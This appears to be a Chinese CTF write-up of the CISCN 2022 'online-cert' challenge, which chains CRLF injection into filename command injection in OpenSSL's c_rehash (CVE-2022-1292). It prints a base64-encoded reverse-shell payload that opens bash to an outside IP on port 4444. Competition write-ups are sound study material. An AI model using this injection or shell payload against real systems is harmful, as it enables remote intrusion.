ciscn2022初赛online-cert题解
这道题当时最后黑灯的时候做出来的,就是卡在最后的payload构造和vps的问题上,比赛前一天一直用的腾讯云过期了,又没钱补,想着问谁借一个能弹shell就行了,没想到控制台安全组放开没用,他还有个宝塔也要一起放开才有用,最后还是借到一个能弹shell的成功了。
感觉这道题对于我来说难点在于对perl脚本的审计,和最后的利用,总体思路其实不难想出。
CVE-2022-1292
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split
filename被拼接到了反引号里
而且他的go web服务里也有一个修改文件名的地方,所以整个题目思路就是在文件名里面插入恶意数据造成rce
crlf注入
app.py里面写的,完全可以完整的注入一个报文
接着绕过URL.RawPath就行,后来翻看了go web开发相关的文章,了解到这玩意是url安全编码相关的,于是就把请求的url中间的一部分编码了就绕过了
1 | import requests |
rce
这里怎么rce,我用的是拼接的方式,当然赛后还看到大师傅的wp中有用环境变量的姿势。
我觉得这里才是这道题的细节部分,就是最后一步的处理问题:如何精心构造文件名。
linux中的文件名不能包含斜杠/
,所以采用base64编码是首选
1 | `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`; |
可以看到可控的部分是$filename
,因此做如下截断,通过分号截断命令,然后管道符base64解码其实也是常见姿势:
(当然当时比赛试了n遍)
1 | ";echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzQ0NDQgMD4mMQ== | base64 -d | bash -i;echo" |
最后通过url编码,在我上面构造的poc中能够打通
赛后看一个师傅的wp中,他使用环境变量${OLDPWD}
,直接截图引用大佬橙子酱的分析